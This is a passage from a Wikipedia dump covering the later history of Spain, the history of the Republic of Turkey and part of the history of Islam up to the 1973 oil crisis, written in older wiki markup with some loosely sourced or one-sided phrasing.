Amadeus - a liberal who swore by the liberal constitution the Cortes promulgated - was faced immediately with the incredible task of bringing the disparate political ideologies of Spain to one table. He was plagued by internecine strife, not merely between Spaniards but within Spanish parties.

==First Spanish Republic ([[1873]]-[[1874]])==
{{Seesubarticle|First Spanish Republic}}

Following the [[Hidalgo affair]], Amadeus famously declared the people of Spain to be ungovernable, and fled the country. In his absence, a government of radicals and Republicans was formed that declared Spain [[First Spanish Republic|a republic]].

The republic was immediately under siege from all quarters - the [[Carlist]]s were the most immediate threat, launching a violent insurrection after their poor showing in the [[1872]] elections. There were calls for socialist revolution from the [[International Workingmen's Association]], revolts and unrest in the autonomous regions of [[Navarre]] and [[Catalonia]], and pressure from the [[Roman Catholic Church]] against the fledgling republic.

==The Restoration ([[1874]]-[[1931]])==
{{Seesubarticle|Spain under the Restoration}}

Although the former [[Queen regnant|queen]], [[Isabella II of Spain|Isabella II]] was still alive, she recognized that she was too divisive as a leader, and abdicated in [[1870]] in favor of her son, Alfonso, who was duly crowned [[Alfonso XII of Spain]]. After the tumult of the [[First Spanish Republic]], Spaniards were willing to accept a return to stability under [[Bourbon dynasty|Bourbon]] rule. The Republican armies in Spain - which were resisting a [[Carlism|Carlist]] [[Third Carlist War|insurrection]] - pronounced their allegiance to Alfonso in the winter of [[1874]]-[[1875]], led by [[Brigadier General]] [[Martinez Campos]]. The Republic was dissolved and [[Antonio Canovas del Castillo]], a trusted advisor to the king, was named [[President of the Government of Spain|Prime Minister]] on [[New Year's Eve]], [[1874]]. The Carlist insurrection was put down vigorously by the new king, who took an active role in the war and rapidly gained the support of most of his countrymen.

A system of ''[[turnos]]'' was established in Spain in which the [[liberalism|liberals]], led by [[Práxedes Mateo Sagasta]] and the [[conservatism|conservatives]], led by [[Antonio Canovas del Castillo]], alternated in control of the government. A modicum of stability and economic progress was restored to Spain during Alfonso XII's rule. His death in [[1885]] followed by the assassination of Canovas del Castillo in [[1897]] destabilized the government.

[[Cuba]] rebelled against Spain in the [[Ten Year War]] beginning in [[1868]], resulting in the [[abolition of slavery]] in Spain's colonies in the [[New World]]. [[United States|American]] interests in the island, coupled with concerns for the people of Cuba, aggravated relations between the two countries. The explosion of the [[USS Maine (ACR-1)|USS Maine]] launched the [[Spanish-American War]] in [[1898]], in which Spain fared disastrously. [[Cuba]] gained its independence and Spain lost its remaining New World colony, [[Puerto Rico]], which together with [[Guam]] and the [[Philippines]] it ceded to the United States for 20 million dollars. In [[1899]] Spain sold its remaining Pacific islands&amp;mdash;the [[Northern Mariana Islands]], [[Caroline Islands]] and [[Palau]]&amp;mdash;to [[Germany]] and Spanish colonial possessions were reduced to [[Spanish Morocco]], [[Spanish Sahara]] and [[Spanish Guinea]], all in Africa.

The &quot;disaster&quot; of 1898 created the &quot;generation&quot; of 1898, a generation of statesmen and intellectuals who demanded change from the new government. [[Anarchism|Anarchist]] and [[fascism|fascist]] movements were on the rise in Spain in the early twentieth century. A revolt in [[1909]] in [[Catalonia]] was bloodily suppressed.

Spain's neutrality in the [[First World War]] allowed it to become a supplier of materiel for both sides to its great advantage, prompting an economic boom in Spain. The outbreak of [[Spanish influenza]] in Spain and elsewhere, along with a major economic slowdown in the postwar period, hit Spain particularly hard, and the country went into debt. A major worker's strike was suppressed in [[1919]].

Mistreatment of the Moorish population in [[Spanish Morocco]] led to an uprising and the loss of this North African possession except for the enclaves of [[Ceuta]] and [[Melilla]] in 1921. (See [[Abd el-Krim]], [[Annual, Morocco|Annual]]). In order to avoid accountability, the king [[Alfonso XIII of Spain|Alfonso XIII]] decided to support the dictatorship of general [[Miguel Primo de Rivera]], ending the period of constitutional monarchy in Spain.

In joint action with France, the Moroccan territory was recovered ([[1925]]-[[1927]]), but the dictatorship of Primo de Rivera collapsed in 1930. Disgusted with the king's involvement in it, the urban population voted for republican parties in the municipal elections of April 1931. The king fled the country without abdicating and a republic was established.

==Second Spanish Republic ([[1931]]-[[1939]])==
{{Seesubarticle|Second Spanish Republic}}

Under the Second Spanish Republic, [[Women's suffrage|women were allowed to vote]] in general elections for the first time. The Republic devolved substantial autonomy to the [[Basque Country (autonomous community)|Basque Country]] and to [[Catalonia]].

The first governments of the Republic, were center-left, headed by [[Niceto Alcalá-Zamora]], and [[Manuel Azaña]]. Economic turmoil, substantial debt inherited from the [[Miguel Primo de Rivera|Primo de Rivera]] regime, and fractious, rapidly changing governing coalitions led to serious political unrest. In 1933, the [[right-wing politics|right-wing]] [[Confederación Española de Derechas Autónomas|CEDA]] won power; an armed rising of workers of October [[1934]], which reached its greatest intensity in [[Asturias]] and [[Catalonia]], was forcefully put down by the CEDA government. Extremist movements emerged in Spain, including a revived [[anarchism|anarchist]] movement and new [[reactionary]] and [[fascist]] groups, including the [[Falange]] and a revived [[Carlism|Carlist]] movement.

==Spanish Civil War [[1936]]-[[1939]]==
[[Image:Italians_leave_Spain_for_home.jpg|thumb|300px|ITALIANS LEAVE SPAIN FOR HOME. The Italians marching through the streets of Cadiz on their way to the troopships for home. October 1938]]
{{Seesubarticle|Spanish Civil War}}

In the [[1930s]], Spanish politics were [[polarization|polarized]] at the left and right of the [[political spectrum]]. The left wing favoured [[class struggle]], [[land reform]],  autonomy to the regions and reduction in church and monarchist power. The right-wing groups, the largest of which was [[CEDA]], a right wing [[Catholic]] coalition, held opposing views on most issues. In [[1936]], with the blessing of the [[Comintern]], the left united in the [[Popular Front (Spain)|Popular Front]] and was elected to power and the chaos of previous years began to start again. There were gunfights over strikes, landless labourers began to seize land, church officials were killed and churches burnt. There was even a strike by building workers in [[Madrid]]. The right wing of the country saw an unwillingness or inabilty to act and began to plan a coup. When [[José Calvo-Sotelo]] was shot, they decided to act.

General [[Francisco Franco]] led the colonial army from [[Morocco]] to attack the mainland while another force from the north under General Sanjurjo moved south from [[Navarre]]. Before long, much of the west was under the control of the Nationalists. The [[Battle of Toledo]] early in the war was a turning point, the Nationalists winning after a long siege. The Republicans won battles in [[Jarama]] and [[Guadalajara]] and managed to hold out in Madrid. Soon, though, the Nationalists began to erode their land, starving Madrid and making inroads into the east. When the [[International Brigades]] left the Republican side and [[Barcelona]] fell to the Nationalists, it was clear the war was over. Madrid fell in early [[1939]].

The [[bombing of Guernica]] was probably the most famous event of the war and inspired [[Guernica (painting)|Picasso's picture]]. It was used as a testing ground for the German [[Luftwaffe]]'s [[Condor Legion]].

==The dictatorship of [[Francisco Franco]] [[1936]]-[[1975]]==
{{Seesubarticle|Spain under Franco}}

Spain remained officially neutral in [[World War I|World Wars I]] and [[World War II|II]], but suffered through a devastating [[Spanish Civil War|Civil War (1936-39)]]. During Franco's rule, Spain remained largely economically and culturally isolated from the outside world, but slowly began to catch up economically with its European neighbors.

Under Franco, Spain actively sought the return of [[Gibraltar]] by the [[United Kingdom|UK]], and gained some support for its cause at the [[United Nations]]. During the [[1960s]], Spain began imposing restrictions on Gibraltar, culminating in the closure of the border in [[1969]]. It was not fully reopened until [[1985]].

Spanish rule in [[Morocco]] ended in [[1956]]. Though militarily victorious in the [[1957]]-[[1958]] [[1957 Invasion of Spanish Sahara|Moroccan invasion of Spanish West Africa]], Spain gradually relinquished its remaining [[Africa|African]] colonies. Spanish Guinea was granted independence as [[Equatorial Guinea]] in [[1968]], while the Moroccan enclave of [[Ifni]] had been ceded to Morocco in [[1969]].

The latter years of Franco's rule saw some economic and political liberalization, the so-called [[Spanish Miracle]], including the birth of a tourism industry. Francisco Franco ruled until his death on [[November 20]]th [[1975]] when control was given to [[Juan Carlos I of Spain|King Juan Carlos]].

In the last few months before Franco's death, the Spanish state went into a paralysis. This was capitalized upon by [[Hassan II of Morocco|King Hassan II]] of [[Morocco]], who ordered the '[[Green March]]' into [[Western Sahara]], Spain's last colonial possession.

==The transition to democracy 1975-1978==
{{Seesubarticle|Spanish transition to democracy}}
The Spanish transition to democracy or new Bourbon restoration was the era when Spain moved from the dictatorship of Francisco Franco to a liberal democratic state. The transition is usually said to have begun with Franco’s death on November 20, 1975, while its completion is marked by the electoral victory of the socialist PSOE on October 28, 1982.

==Spain since 1978==
{{Seesubarticle|Modern Spain}}

''Spain 1978-1982'' The ''Unión del Centro Democrático'' governments.
[[1981]] The [[23-F]] coup d'état attempt. On [[February 23]] [[Antonio Tejero]], with members of the [[Guardia Civil (Spain)|Guardia Civil]] entered the Congress of Deputies, and stopped the session, where [[Leopoldo Calvo Sotelo]] was going to be named president of the government. Officially, the [[coup d'état]] failed thanks to King [[Juan Carlos of Spain|Juan Carlos]].

''Spain 1982-1996'' [[Felipe González]]'s ''Socialist'' governments.
Spain joins the [[NATO]].
[[1986]] Spain enters the [[European Union]].
[[1992]] [[Barcelona]] [[Olympic games|Olympics]], [[Expo '92]] in Seville.

''Spain 1996-2004'' The ''Partido Popular'' governments of [[José María Aznar]]. On [[January 1]], [[1999]] Spain exchanged the ''[[peseta]]'' for the new  [[euro]] currency. On [[March 11]] [[2004]] a number of [[March 11, 2004 Madrid attacks|terrorist bombs exploded on busy commuter trains in Madrid]] during the morning rush-hour days before the general election. [[José María Aznar]] quickly accused [[ETA]] however soon afterwards it became apparent that the bombing was the work of an extremist [[Islamic]] group linked to [[Al-Qaida]]. Many believed that this suspicious behavior after the attack directly influenced the results of the election. Opinion polls at the time show that the difference between the two main contenders was too close to make an accurate judgement.

''[Spain 2004-]'' [[José Luis Rodríguez Zapatero]]'s ''Socialist'' government.

On April 21, 2005, the country became the first country in the world to give full marriage and adoption rights to homosexual couples.  Belgium and the Netherlands allow same-sex marriages, but do not allow homosexuals to adopt.

At present, Spain is a [[constitutional monarchy]], and is comprised of 17 [[autonomous communities of Spain|autonomous communities]] ([[Andalusia|Andalucía]], [[Aragon|Aragón]], [[Asturias]], [[Balearic Islands|Illes Balears]], [[Canary Islands|Islas Canarias]], [[Cantabria]], [[Castilla y León]], [[Castilla-La Mancha]], [[Catalonia|Catalunya]], [[Extremadura]], [[Galicia (Spain)|Galicia]], [[La Rioja]], [[Madrid]], [[Murcia]], [[Basque country|País Vasco]], [[Valencia|Comunitat Valenciana]], [[Navarre|Navarra]], [[Ceuta]] and [[Melilla]]).

==External links==
*[http://www.badley.info/history/Spain.country.year.index.html Spain Chronology World History Database]
*''[http://www.trustedtranslations.com/castilian_spanish.asp Castilian Spanish and the History of Spanish language]''
*[http://libro.uca.edu/payne1/payne15.htm  Stanley G. Payne '''The Seventeenth-Century Decline''']
*[http://www.textbookleague.org/121hakm.htm Joy Hakim Should Not Write About the History of Europe]

[[Category:History of Spain|**]]

[[ar:تاريخ إسبانيا]]
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[[fr:Histoire d'Espagne]]
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[[it:Storia della Spagna]]
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== See also ==
*[[Black Legend]]
*[[Spain]]
*[[Spanish Empire]]</text>
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    <title>History of Turkey</title>
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      <comment>/* Multi-Party Period */</comment>
      <text xml:space="preserve">This article is primarily about the history of the [[Republic of Turkey]]. For other periods in history, see the links to main articles about those subjects under the corresponding history.
{{Template:History_of_Anatolia}}
One of the new states from the Ottoman Empire was [[Turkey|Republic of Turkey]]. This new state delivered the 'coup de grâce' to the Ottoman state, almost mercifully, in [[1922]], with the overthrow of Sultan [[Mehmed VI|Mehmet VI Vahdettin]] by the new Republican assembly of [[Turkey]].
{{History of Republic of Turkey}}
==War of Independence==
{{Details|Turkish War of Independence}}
[[Image:ataturk.jpg|thumb|right|180|Atatürk, modern Turkey's founder and first President]]
'''Short Summary:''' One of the new states was [[Turkey|Republic of Turkey]]. Turkish nationalists established modern [[Turkey]] as an outcome of the [[Turkish War of Independence]], mostly on what was to become Turkish soil, as of the [[Treaty of Lausanne]]. Turkish War of Independence defeated [[Greece]] in western Turkey (see [[Greco-Turkish War (1919-1922)]]), East Armenian state on the west (2 November 1920 [[Treaty of Gümrü|Gümrü Treaty]]).The [[Treaty of Lausanne]], signed on [[July 24]], 1923, and negotiated by [[Ismet Inonu|Ismet Pasha]] (Inönü) on behalf of the Ankara government, established most of the modern boundaries of the country (except the province of [[Hatay_Province|Hatay]] which was given to Turkey by France in 1939).

== Single Party Period ==
{{Details|Single-Party Period of Republic of Turkey}}
Turkey in 1925 was an drained country. During the initial years, voyagers who pass through its lands, remark on the desertedness of it countryside. The results of WWI and its consequances, epidemics and starvation, some 2.5 million Anatolian Muslims had lost their lives, as well as Christians. All in all, the population of Anatolia declined by 20% through mortality - percentage twenty times higher than that of France at the same period. Those times were hard times, beyond imagination. There were 12 provinces, most of them in the west, where more than 30 per cent of adult women were widows. For the first time in its entire history, Anatolia had a Turkish majority more than 80%. (ref: Justin McCarthy, Muslims and minorities. The population of Ottoman Anatolia and the end of the empire, New York: NY University Press, 1983)

'''Short Summary:''' The history of modern [[Turkey]] begins with the foundation of the republic on [[October 29]], [[1923]] (the Republic was declared on [[January 20]], [[1921]]), with [[Kemal Atatürk|Mustafa Kemal]] (Atatürk) as its first president.  The government was formed from the [[Ankara]]-based revolutionary group, led by Atatürk. A new constitution was approved on [[April 20]], 1924. For the next 10 years, there was a steady process of secular westernization, guided by Mustafa Kemal. Unification of education, and disband of religious titles, Latin alphabet replaces Arabic script, the dress law (the wearing of a fez, a traditional Muslim hat, is outlawed), law of family names, etc. The educational materials were developed using words from [[Central Asia]] (including countries north of Turkey) are imported and their use is encouraged, with spotty success. The use of [[Persian language|Persian]] and [[Arabic language|Arabic]] words is discouraged.  The passage to multi party period, was tried with Liberal Republican Party by Fethi Okyar. However, the liberal party was dissolved on [[November 17]], [[1930]] and no further attempt for a multi-party democracy was made until [[1945]]. Turkey was admitted to the [[League of Nations]] in July [[1932]]. Atatürk's successor after his death on [[November 10]], [[1938]] was [[Ismet Inönü]]. During [[World War II]], Turkey signed a peace treaty with Germany and officially remained neutral until near the end of war.  In 1945 Turkey joined the UN, and in February 1945 it declared war on [[Germany]] and [[Japan]].  This was largely symbolic. Turkey joined the [[NATO|North Atlantic Treaty Organisation]] (NATO) in [[1952]].

== Multi-Party Period==
{{details|Multi-Party Period of Republic of Turkey}}
'''Short Neutral Summary:''' The real multi-party period begins with the election of the [[Democratic Party (Turkey)|Democratic Party]]. The Menderes government was very popular at first, relaxing the restrictions on Islam and presiding over a booming economy.  In the later half of the decade, however, the economy began to fail and the government introduced censorship laws limiting dissent.  The government became plagued by high [[inflation]] and a massive [[debt]]. On [[May 27]],[[1960]] General [[Cemal Gürsel]] led a military [[coup d'état]] removing President [[Celal Bayar]] and Prime Minister [[Adnan Menderes]], the second of whom was executed. The system returned to civilian control in October of [[1961]]. The political system that emerged in the wake of the 1960 coup was a fractured one, producing a series of unstable government coalitions in parliament alternating between the True Path Party of [[Suleyman Demirel]] on the right and the Republican People's Party of Ismet Inonu and [[Bülent Ecevit]] on the left.  A new coup was staged in 1971 and 1970s was under Prime Minister Ecevit in coalition with the religious National Salvation Party, Turkey carried out an operation in Cyprus ([[Turkish Invasion of Cyprus]]). The fractured political scene and poor economy led to mounting violence between ultranationalists and communists in the streets of Turkey's cities.  A military coup d'etat took place in 1980.  Within two years, the military had returned the government to civilian hands. Political system came one-party governance under [[Turgut Özal]]'s Motherland Party, which combined a globally-oriented economic program with conservative social values. Under Ozal, the economy boomed, converting towns like [[Gazi Antep]] from small provincial capitals into mid-sized economic boomtowns. With the turn of 90s, political instability followed, the 1995 elections brought a short-lived coalition between Yilmaz's Motherland Party and The True Path Party, now with [[Tansu Çiller]] at the helm.  In 1997, the military, citing his government's support for religious policies deemed dangerous to Turkey's secular nature, sent a memorandum to Erbakan government requesting that he resign, which he did. This was named postmodern coup. Shortly thereafter, the RP was banned and re-born under the name Virtue Party (FP). A new government was formed by ANAP and Ecevit's Democratic Left Party (DSP) supported from the outside by the center-left Republican People's Party (CHP), led by [[Deniz Baykal]]. The DSP won big in the 1999 elections. Second place went to the Nationalist Action Party (MHP). These two parties, alongside Yilmaz's ANAP formed a government. The government was somewhat effective, if not harmonious, bringing about much-needed economic reform, instituting human rights legislation, and bringing Turkey ever closer to the [[European Union]]. A series of economic shocks led to new elections in 2002, bringing into power the religiously conservative [[Justice and Development Party (Turkey)|Justice and Development Party]] of former mayor of Istanbul, [[Recep Tayyip Erdoğan]].


[[Category: History of Turkey]]

[[ar:تاريخ تركيا]]
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  <page>
    <title>History of Islam</title>
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      <comment>/* See also */ + [[Timeline of Islamic history]]</comment>
      <text xml:space="preserve">{{Islam}}

The '''History of Islam''' involves the history of the [[Islam]]ic faith as a [[religion]] and as a [[social institution]].

== Introduction ==
[[Image:Suleiman_Mosque.jpg|left|thumb|275px|The [[Suleiman Mosque]] (Süleymaniye Camii) in [[Istanbul]] was built on the order of sultan [[Suleiman the Magnificent]] by the great [[Ottoman Empire|Ottoman]] architect [[Sinan]] in [[1557]]]]

Like most world religions, Islam's historical development has had a clear impact on the political, economic, and military history of areas inside and outside what are considered its primary geographic zones of reach (see [[Islamic world]]). As with [[Christendom]], the concept of an ''Islamic world'' may be more or less useful in looking at different periods of history. An important strain in Islamic culture encourages identification with a quasi-political community of believers or ''[[ummah]]'', and this component is reflected in the behavior of a number of actors in history. The history of Islam as a religion is closely related to political, economic, and military history.

Islam arose in [[Arabia]] in the [[7th century]] with the emergence of the prophet [[Muhammad]]. Within a century of his death, an Islamic state stretched from the [[Atlantic Ocean]] in the west to [[Central Asia]] in the east. This empire did not remain unified for long; the new polity soon broke into a civil war known to Islamic historians as the [[Fitna]], and later affected by a [[Second Fitna]]. After this, there would be rival dynasties claiming the [[caliphate]], or leadership of the Muslim world, and many Islamic states and empires offered only token obedience to a [[caliph]] unable to unify the Islamic world. 

Despite this fragmentation of Islam as a political community, the empires of the [[Abbasid]] caliphs, the [[Mughal]]s, and the [[Seljukids|Seljuk Turk]] [[Ottoman empire|Ottomans]] were among the largest and most powerful in the world. Arabs made many Islamic centers of culture and science and produced notable scientists, astronomers, mathematicians, doctors and [[Islamic philosophy|philosophers]] during the [[Golden Age of Islam]]. Technology flourished; there was much investment in economic infrastructure, such as irrigation systems and canals; stress on the importance of reading the Qur'an produced a comparatively high level of literacy in the general populace. 

Later, in the 18th and 19th centuries C.E., Islamic regions fell under the sway of European imperial powers. Following World War I, the remnants of the Ottoman empire were parcelled out as European [[protectorates]]. After many centuries, no major, widely-accepted claim to the caliphate (which had been at least claimed by the Ottomans) remained. 

Although affected by various ideologies, such as communism, during much of the twentieth century, Islamic identity and Islam's salience on political questions have arguably increased during the late [[twentieth century]] and early [[twenty-first century]]. Rapid growth, western interests in Islamic regions, international conflicts and [[globalization]] have influenced Islam's importance in shaping the world of the [[twenty-first century]].

==Note on early Islamic historiography==
There are several Muslim versions of [[Historiography of early Islam|early Islamic history]], as written by the [[Sunni]], [[Shi'a]], and [[Ibadi]] sects. 19th century Western scholars tended to privilege the Sunni versions; the Sunni are the largest sect, and their books and scholars were easily available. Over the last hundred years, Western scholars have become much more willing to question the orthodox view and to advance new theories and new narratives. Still today, many parts of Islamic history are not as well known internationally as other components of history, such as that of the west.

==Muhammad==
[[Image:ArabianpeninsulaAL.PNG|thumb|right|By his death in [[632]], Muhammad had managed to unite the entire Arabian peninsula.]]
{{main|Muhammad}}

Arabia before Muhammad was scantly populated by a number of Arabic-speaking peoples. Some were [[Bedouin]], pastoral [[nomad]]s organized in tribes. Some were agriculturalists, living either in oases in the north, or in the more fertile and thickly settled areas to the south (now [[Yemen]] and [[Oman]]). At that time the majority of Arabs followed various [[polytheistic]] [[religion]]s, although a few tribes followed [[Judaism]], [[Christianity]] (including [[Nestorianism|Nestorians]]) or [[Zoroastrianism]]. The city of [[Mecca]] was a  religious center for some of the northern Arabian polytheists, as it contained the sacred well of [[Zamzam]] and a small temple, the [[Kaaba|Ka'aba]].

Muhammad was born on the outskirts of Mecca in the [[Islamic calendar#Numbering the years|Year of the Elephant]]. Most Muslims equate this with the Western year [[570]] but a few prefer [[571]]. He was orphaned at an early age and was raised by his uncle [[Abu Talib]]. He became a trader, married a wealthy widow, and could have looked forward to a life of ease and prosperity. 

However, when he was some forty years old, he is said to have experienced a divine revelation while he was meditating in a cave outside Mecca. This would have been in 610 C.E. After an initial period of doubt and fear, he started to preach to his kinfolk and then in public, to all Meccans.

Muhammad claimed that he had been chosen by [[God]], like the Hebrew prophets before him, to preach repentance, submission to God, and a coming day of judgment. He said he was not preaching a new religion, just reviving the old and pure tradition that the Christians and Jews had debased. He attracted followers, and also created enemies. 

In 622 C.E., Muhammad and many of his followers fled to the neighboring city of [[Medina]]. This migration is called the ''[[Hijra (Islam)|Hijra]]''; it was the first year of Muhammad's &quot;reign&quot; as a secular ruler as well as a religious leader.  Following the custom of the time, later historians took that year as the start of the [[Muslim calendar]].  

The two cities of Mecca and Medina went to war. Muhammad and his followers won one battle ([[Battle of Badr]]) and managed to stalemate a Meccan attack in the [[Battle of the Trench]]. Through conquest and conversion, Muhammad was able to unite the surrounding tribes behind him and eventually assembled such a large force that Mecca capitulated without a fight. By the time Muhammad died, on  [[June 8]], [[632]], he and his followers had united the entire [[Arabian peninsula]] under his leadership, and had started to expand into the areas now known as [[Syria]] and [[Iraq]].



==The Fitna== 
{{main|First Islamic civil war}}
Umar was succeeded by [[Uthman ibn Affan]], another of Muhammad's earliest followers. Under Uthman, the new empire fell into a civil war called the [[Fitna]], or disorder. Many of Muhammad's family and earliest followers were unhappy with Uthman, feeling that he was unduly favoring his kinsfolk and acting less like a religious leader and more like king. Rebellious soldiers killed Uthman and offered the leadership to [[Ali ibn Abi Talib]], Muhammad's cousin, foster-son, and son-in-law. Many Muslims (in particular, those who had their own designs on the Caliphate) refused to accept Ali as a leader; he spent his brief caliphate fighting against dissenting factions and Uthman's relatives, the [[Umayyads]]. Ali was killed by a [[Kharijite]] assassin and Uthman's family, the [[Umayyads]], claimed the caliphate. They managed to retain leadership of the majority of Muslims for several generations, but save for a brief period, never again ruled over an undivided Islamic empire. The Islamic faith diverged as well, splitting into the three main traditions of today ([[Sunni]], [[Shi'a]], and [[Ibadi]]). (This is perhaps a gross over-simplification of a complex religious history.)

==The Second Fitna==
Ummayad rule was interrupted by a second civil war (the Second Fitna) in 680, re-established, then ended in 758. After this, there would be rival dynasties claiming the caliphate, or leadership of the Muslim world, and many Islamic states and empires offered only token obedience to a caliph unable to unify the Islamic world.

==The zenith of Islamic power==
[[Image:Califate 750.jpg|thumb|260px|The territory of the Caliphate in the year 750]]
The majority of the population of this new empire was non-Muslim, and aside from a protection tax (''[[jizya]]'') and [[dhimmi|other restrictions]], the conquered people found their religions tolerated. Indeed, Muslim authorities often discouraged conversions, since this would erode the tax base. Under the Umayyads, would-be converts had to find an Arab patron who would adopt them into his tribe. Once they were honorary Arabs they could convert. 

Nevertheless, most of the populace eventually converted to Islam. Whether this was a fast or a slow movement is a topic hotly debated in academia, and only to be settled by meticulous country-by-country studies.

== The decline of political unity ==
The political unity of Islam began to disintegrate. The emirates, still recognizing the theoretical leadership of the caliphs, drifted into independence, and a brief revival of control was ended with the establishment of two rival caliphates: the [[Fatimid]]s in north Africa, and the Umayyad's [[Caliph of Cordoba|Caliphate of Cordoba]] in Spain (the emirs there being descended from an escaped member of that family). Eventually the Abbasids ruled as puppets for the [[Buwayhid]] emirs.

A series of new invasions swept over the Islamic world. First, the newly converted [[Seljuk Turks]] swept across and conquered most of Islamic Asia, hoping to restore orthodox rule and defeat the Fatimids but soon falling prey to political decentralization themselves. After the disastrous defeat of the Byzantines at the [[Battle of Manzikert]] in [[1071]] the west launched a series of [[Crusades]] and for a time captured Jerusalem. [[Saladin]] however restored unity, defeated the Fatimids and recaptured the city.  Later crusades were launched with at least the nominal intent to recapture the holy city. But hardly more was ever accomplished than the looting and occupation of [[Constantinople]], leaving the Byzantine Empire severely weakened and ripe for later conquest.

During this time, great advancements were made in the areas of astronomy, poetry, philosophy science and mathematics.

By the early 13th century a far more serious threat had arrived.  The [[Mongols]], who invaded [[Baghdad]] in [[1258]], had conquered most Islamic territories east of Egypt.  The Horde permanently ended the [[Abbasid|Abbasid caliphate]] and the Golden Age of medieval Islam, leaving the Islamic world damaged and confused.  The Mongols later converted to Islam and developed their own sophisticated and diverse trade based culture, integrating elements from every corner of Eurasia.

The Islamic world reached a new peak (albeit not comparable to the Golden Age of the Abbasids) under the [[Ottoman Empire]].  The Ottomans migrated from the Central Asian steppe and at first established a tiny state in [[Anatolia]] (modern day [[Turkey]]).  After a 1453 siege lasting two months, Ottoman [[janissaries]] and cannons overwhelmed Constantinople.  The millennium-old Byzantine Empire was suddenly absorbed by the new Ottoman Empire, which would extend its influence over most of the Islamic world and reach deep into Christian Europe.

== The Ottoman empire ==
{{main|Ottoman Empire}}
The Ottoman empire, which was making great strides in conquering the East, threatened to conquer Central and Western Europe. In [[1529]], the [[Siege of Vienna]] failed, stopping any further advance of the Ottoman Empire into Eastern Europe. The [[Battle of Vienna]] in [[1683]] began the withdrawal of the Ottoman Empire from many parts of Eastern Europe and later the Balkans.

== Three Muslim empires==
In the [[18th century]] there were three great Muslim empires: the aforementioned [[Ottoman Empire|Ottoman]] in Turkey, Mesopotamia, the Red Sea, and the Mediterranean; the [[Safavid Empire|Safavid]] in Iran; and the [[Mogul Empire|Mogul]] in India. By the end of the [[19th century]], all three had been weakened or destroyed by massive Western cultural influence or military ambitions.

===The Wahhabi Movement===
During the [[18th century]], [[Muhammad ibn Abd al Wahhab]] ([[1703]]&amp;ndash;[[1792]]) led a religious movement (the [[Wahhabi Movement]]) in eastern Arabia that sought to purify Islam.  Wahhab wanted to return Islam to what he thought were its original principles as taught by the ''as-salaf as-saliheen'' (the earliest converts to Islam) and rejected what he regarded as corruptions introduced by [[Bida]] (religious innovation) and [[Shirk (polytheism)]].

This movement is considered to be the foundation of modern [[Islamic terrorism]] and it should be noted that [[Osama bin Laden]], [[Ayman Al-Zawahiri]], and [[Abu Musab Al-Zarqawi]] have all made claims to follow or have been inspired by [[Muhammad ibn Abd al Wahhab]].  On the other hand, other claimed followers of Wahhab are non-militant and merely reject [[Fiqh]] (Islamic [[Jurisprudence]]) and [[ijtihad]] (Islamic legal decisions by ''mujtahid'').

== The 20th century ==
The modern age brought radical technological and organizational changes to Europe and Islamic countries found themselves less modern when compared to the many western nations. Europe's state-based government and rampant colonization allowed the West to dominate the globe economically and forced Islamic countries to question change.

=== The end of World War I: European powers control the Middle East ===
Islamic territories were granted at least nominal independence after the end of the [[First World War]] and full independence after the [[Second World War | second]]. Many Muslim countries sought to imitate European political organization and [[nationalism]] began to emerge in the Islamic world. Countries like [[Egypt]], [[Syria]], and [[Turkey]] organized their governments with definable polities and sought to develop national pride among their citizens. Other places, like [[Iraq]], weren't as successful due to a lack of unity.

===The end of the Caliphate and the rise of the Saudis===
Some Muslim countries, such as [[Turkey]] and [[Egypt]], sought to separate Islam from the secular government. In other cases, such as [[Saudi Arabia]], the new government brought out new religious expression in the reemergence of the puritanical form of Sunni Islam known to its detractors as [[Wahhabism]] which found its way into the [[Saudi royal family]].

===Partition of India and establishment of Pakistan===
{{main|Partition of India}}

{{expandsect}}

===The creation of the state of Israel===
Many Muslim countries were left looking for answers as their new Westernized governments continued to conflict with their Islamic societies. In most cases this search led to the reassertion of the values of their religious heritage.

With the introduction of [[Israel]], Jews who came mainly from Europe displaced the native Muslims and Christians who had lived there for centuries, making Arabs a minority in Israel and leaving millions of them (Palestinians) as refugees in neighboring countries. In order to oppose the Jewish &quot;encroachment&quot;, Arab nations became united in their push for [[Pan-Arabism]] instead of [[nationalism]], forming the [[League of Arab States]] in [[1945]]. The coalition grew to 22 countires by [[1992]] with the failure of a series of wars launched against Israel only adding to the sense of common purpose among Muslim countries.

===Oil wealth and petropolitics dominate the Middle East===
Between [[1953]] and [[1964]], King Saud re-organized the government of the monarchy his father, Ibn Saud, had created. Saudi Arabia's new ministries included Communication (1953) Agriculture and Water (1953), Petroleum (1960), Pilgrimage and Islamic Endowments (1960), Labour and Social Affairs (1962) and Information (1963). He also put his Talal, one of his many younger brothers (by 29 years his younger) in charge of the Ministry of Transport. 

In 1958-59, Talal proposed the formation of a National Council. As he proposed it, it would have been a consultative body, not a legislature. Still, he thought of it as a first step toward broader popular participation in the government. Talal presented this proposal to the king when the Crown Prince was out of the country. Saud simply forwarded the proposal to the [[Ulema|ulama]] asking them whether a National Council was a legitimate institution in Islam. The idea seems to have died in committee, so to speak. It would be revived more than three decades later. A Consultative Council came into existence in 1992. 

Meantime, the [[Organization of Petroleum Exporting Countries]] came into existence in [[1960]]. For the first decade or more of its existence, it was ineffectual in terms of increasing revenue for member nations. But it would have its day. Tension between Faisal and Saud continued to mount until a final showdown in 1964. Saud threatened to mobilize the Royal Guard against Faisal and Faisal threatened to mobilize the National Guard against Saud. It was Saud who blinked, abdicating and leaving for Cairo, later Greece. He would die there, in 1969. Faisal then became King. 

In [[1967]], [[Israel]] won its whirlwind six day victory. In response, Arab leaders (including King Faisal) held a conference in [[Khartoum]] in August. They all agreed on three negative slogans with respect to Israel: “no recognition, no negotiations, no peace.” Faisal agreed that Saudi Arabia would use some of its oil wealth to finance the “front-line states,” those that bordered the hated Zionist entity, in their struggle.

The 1967 war had other effects. It effectively closed the [[Suez canal]], it may have contributed to the revolution in Libya that put [[Muammar al-Qaddafi]] in power, and it led in [[May 1970]] to the closure of the &quot;tapline&quot; from Saudi Arabia through [[Syria]] to [[Lebanon]]. These developments had the effect of increasing the importance of the petroleum in [[Libya]], which is a conveniently short (and canal-free) shipping distance from Europe.

In 1970, it was [[Occidental Petroleum]] which constituted the first crack in the wall of oil company solidarity in dealing with the oil producing nations; specifically, in this case, with the demands for price increases of the new Qaddafi government.

In October 1973, another war between Israel and its Muslim neighbors, known as the [[Yom Kippur War]], got underway just as oil company executives were heading to [[Vienna, Austria]], site of a planned meeting with [[OPEC]] leaders. OPEC had been emboldened by the success of Libya's demands anyway, and the war strengthened the unity of their new demands. 

